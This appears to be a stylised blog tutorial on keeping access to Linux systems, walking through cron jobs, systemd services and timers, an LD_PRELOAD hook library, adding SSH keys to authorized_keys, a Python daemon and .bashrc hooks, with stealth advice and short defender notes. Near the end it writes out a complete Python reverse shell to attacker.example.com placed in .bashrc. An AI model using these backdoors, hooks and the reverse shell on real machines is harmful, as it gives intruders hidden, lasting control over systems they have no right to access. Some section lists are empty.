Establishing Linux Persistence

⏳ 9 min read

Table of Contents

Cybersecurity Illustration

The neon light flickered across the rain-slicked pavement, casting fractured shadows that danced like data packets slipping through fibre-optic veins. In this city, every computer is alive, every daemon a beast waiting to be tamed, or unleashed. The hum of servers overhead, the blur of code scrolling in dimly lit rooms, you feel the pulse of machines every moment. Welcome, neophyte cyber-samurai, to the underbelly of Linux persistence: the art of surviving reboots, outlasting system cleans, hiding in plain sight.

You are in the alleyways of root shells, the corridors of cron-jobs, the gates of systemd units. You peer into logs, you taste the tang of compromise, you dream of remaining alive even when the sysadmin’s boot-disk strikes hard. This piece is your map, built from glowing circuits, neon rain and the raw hunger of survival.


What Does Persistence Mean in a Linux Context

Persistence is the capability to retain access to a system over time, across reboots, user changes or patches. It is not merely about one-off exploits or ephemeral shell sessions. It is about planting roots that defy removal, surviving updates, evading detection, staying alive in the ecosystem even when defenders try to strip you out.

Before diving in, understand this: lawful security research, red-teaming, penetration testing, all of these must be sanctioned or you risk crossing into criminal territory. Any code below, if used maliciously or without permission, can be illegal or destructive.


Key Persistence Mechanisms & Their Trade-Offs

Mechanism Visibility / Detectability Robustness Ease of Setup
Cron jobs (user or system) Moderate , visible in crontab, logs Good , runs regularly Low to moderate
Systemd services / units Higher visibility (logs, unit files) Very high , starts at boot, can restart on failure Moderate
BIOS/UEFI bootkits or malicious firmware Very low visibility, but heavy lift Highest , very hard to remove High complexity
Kernel modules or rootkits Low visibility if well-crafted Very high High risk & complexity
.bashrc or shell profiles Low complexity, user-level only Weak , depends on shell invocation Very easy

Practical Methods to Establish Persistence

1. Cron Jobs

Cron jobs are scheduled tasks. As root or privileged user you can schedule scripts that run at fixed intervals.

bash
#!/bin/bash
# /usr/local/bin/update-heartbeat.sh
while true; do
  # replace with meaningful action
  echo "$(date): system alive" >> /var/log/heartbeat.log
  sleep 3600
done

Then add to root’s crontab:

bash
(crontab -l 2>/dev/null; echo "@reboot /usr/local/bin/update-heartbeat.sh") | crontab -

Warning: Running continuous loops as root can exhaust system resources, open you to detection. Use sparingly.

2. Systemd Service Units

Systemd is the core init system for many Linux distributions. You can create a custom service to launch at boot.

bash
# /etc/systemd/system/shaft.service
[Unit]
Description=Shaft Persistence Service

[Service]
ExecStart=/usr/local/bin/shaft.sh
Restart=always
User=root

[Install]
WantedBy=multi-user.target

And then:

bash
chmod 644 /etc/systemd/system/shaft.service
systemctl daemon-reload
systemctl enable shaft.service
systemctl start shaft.service

This ensures shaft.sh runs at boot, restarts if it crashes. Beware: systemctl status and journalctl will show this service; detection easier by defenders.

3. LD_PRELOAD Trickery (User-Level Library Hijacking)

You can hijack shared libraries that are loaded by commonly used binaries. If a user launches /usr/bin/ls or another binary, your injected code runs.

bash
# Malicious library: /tmp/libhook.so
#include <stdio.h>
#include <stdlib.h>

void _init(void) {
  system("/usr/local/bin/shaft.sh &");
}

Compile:

bash
gcc -shared -fPIC -o /tmp/libhook.so hook.c

Then set environment variable in .bashrc or equivalent:

bash
echo "export LD_PRELOAD=/tmp/libhook.so" >> ~/.bashrc

Warning: This method is obvious if tools like ldd or env are inspected, and dangerous for system stability.

4. SSH Keys & Access Backdoors

You can import your SSH public key into ~/.ssh/authorized_keys of a user you control. If root login via SSH is allowed, or via sudo, you’ve got long-term access.

bash
mkdir -p ~/.ssh
echo "ssh-rsa AAAA… yourkey… user@host" >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

Ensure the user shell and sudoers policies permit login. For stealth, consider timing, naming, directory attributes.


Defence vs Offence: What to Watch Out For

To stay hidden you must stealth your persistence mechanism: permissions, timestamps, ownership matter. Always:

Defenders will use tools like ps, systemctl list-units, ls /etc/cron.*, chkconfig (older distros), crontab -l, journalctl, also integrity checkers like AIDE.


Example: Combined Persistence with Python Daemon

Below is a Python snippet that, when put in appropriate place, can run as a daemon. Run as root, install as a systemd service. Use for defensive lab or authorised red team only.

python
#!/usr/bin/env python3
import os
import time
import atexit
from signal import signal, SIGTERM

def daemonise(pidfile, *, stdin='/dev/null', stdout='/dev/null', stderr='/dev/null'):
    if os.fork() > 0:
        raise SystemExit(0)
    os.chdir('/')
    os.setsid()
    if os.fork() > 0:
        raise SystemExit(0)
    for f in (stdin, stdout, stderr):
        open(f, 'rb' if f == stdin else 'ab').close()
    with open(pidfile, 'w') as f:
        f.write(str(os.getpid()))
    atexit.register(lambda: os.remove(pidfile))
    def _term(signum, frame):
        raise SystemExit(1)
    signal(SIGTERM, _term)

def main():
    pidfile = '/var/run/shaft_daemon.pid'
    daemonise(pidfile)
    while True:
        # your persistent logic here
        time.sleep(60)

if __name__ == '__main__':
    main()

You’d then create a systemd unit similar to previous example, pointing to this Python script.


Detecting Persistent Threats as a Defender

For enthusiasts eager to flip the lens, defenders should monitor for:

Tools like chkrootkit, rkhunter, integrity checkers (AIDE, Tripwire), file-integrity monitoring, SIEM correlation for repeating failures all help.


Establish Linux Persistence: A Practical Guide for Steady Access


Aim

To teach you how to establish persistence on a Linux system using service units, cron jobs and timers to ensure tools or scripts run across reboots or interruptions.


Learning outcomes

After following this guide you will be able to:
- Create and enable a systemd service unit to run a custom script at boot.
- Use systemd timer units to schedule recurring tasks as persistence mechanisms.
- Establish persistence via cron jobs or shell-login scripts such as .bashrc or .profile.
- Recognise potential security risks associated with persistence methods and apply least-privilege principles.


Prerequisites


Step-by-step instructions

1. Persistence via systemd service at boot

  1. As root, create your script, for example /usr/local/bin/mypayload.sh:
bash
   #!/bin/bash
   # Example payload: write timestamp to file
   echo "$(date) : System booted" >> /var/log/sysboot.log

Make it executable:

bash
   sudo chmod +x /usr/local/bin/mypayload.sh
  1. Create a service unit file, e.g. /etc/systemd/system/mypayload.service:
ini
   [Unit]
   Description=My Payload at Boot

   [Service]
   Type=oneshot
   ExecStart=/usr/local/bin/mypayload.sh
   RemainAfterExit=yes

   [Install]
   WantedBy=multi-user.target
  1. Enable and start the service:
bash
   sudo systemctl enable mypayload.service
   sudo systemctl start mypayload.service

On the next reboot, your script will run automatically. This technique is widely used by adversaries to maintain access between reboots. (cisa.gov)


2. Scheduled persistence with systemd timers

  1. Create a service file, for example /etc/systemd/system/recurring.sh.service:
ini
   [Unit]
   Description=Recurring Payload

   [Service]
   Type=simple
   ExecStart=/usr/local/bin/mypayload.sh
  1. Create a timer unit, /etc/systemd/system/recurring.sh.timer:
ini
   [Unit]
   Description=Run payload every 5 minutes

   [Timer]
   OnBootSec=1min
   OnUnitActiveSec=5min
   Unit=recurring.sh.service

   [Install]
   WantedBy=multi-user.target
  1. Enable and start the timer:
bash
   sudo systemctl enable recurring.sh.timer
   sudo systemctl start recurring.sh.timer

The timer ensures the service runs on boot and periodically thereafter. This method is less conspicuous than cron jobs. (hackersvanguard.com)


3. Persistence using cron jobs

  1. Open root’s crontab:
bash
   sudo crontab -e
  1. Add an entry to run your script at reboot:
cron
   @reboot /usr/local/bin/mypayload.sh
  1. To run every hour:
cron
   0 * * * * /usr/local/bin/mypayload.sh

Cron jobs are simple and widely supported; however systemd timers offer finer control and better logging.


4. Persistence via shell login scripts

For user-level persistence without root (less powerful but still useful):

  1. Edit ~/.bashrc or ~/.profile for a normal user, adding:
bash
   # run once per login
   if [ ! -f "$HOME/.welcome_logged" ]; then
     echo "Welcome, $(date)" >> $HOME/login.log
     touch "$HOME/.welcome_logged"
   fi
  1. Or add commands to ~/.bashrc to load a reverse shell or other payload (only when the user logs in), such as:
bash
   /usr/bin/python3 -c 'import socket,os,subprocess;s=socket.socket();s.connect(("attacker.example.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Use with caution; such techniques are used by attackers for persistence at user level.


5. Ensuring stealth and security discipline


By completing these steps you will have hands-on experience establishing various persistence mechanisms on Linux systems. These methods form part of both red-team and defence toolkits; know them well so you can detect misuse and apply best practices.

Lean forward, cyber-apprentice: the machine is watching, the code remembers, the system survives. Plant your root, nurture your daemon, stay alive in the silicons and switches. The technicolour circuits hum your name.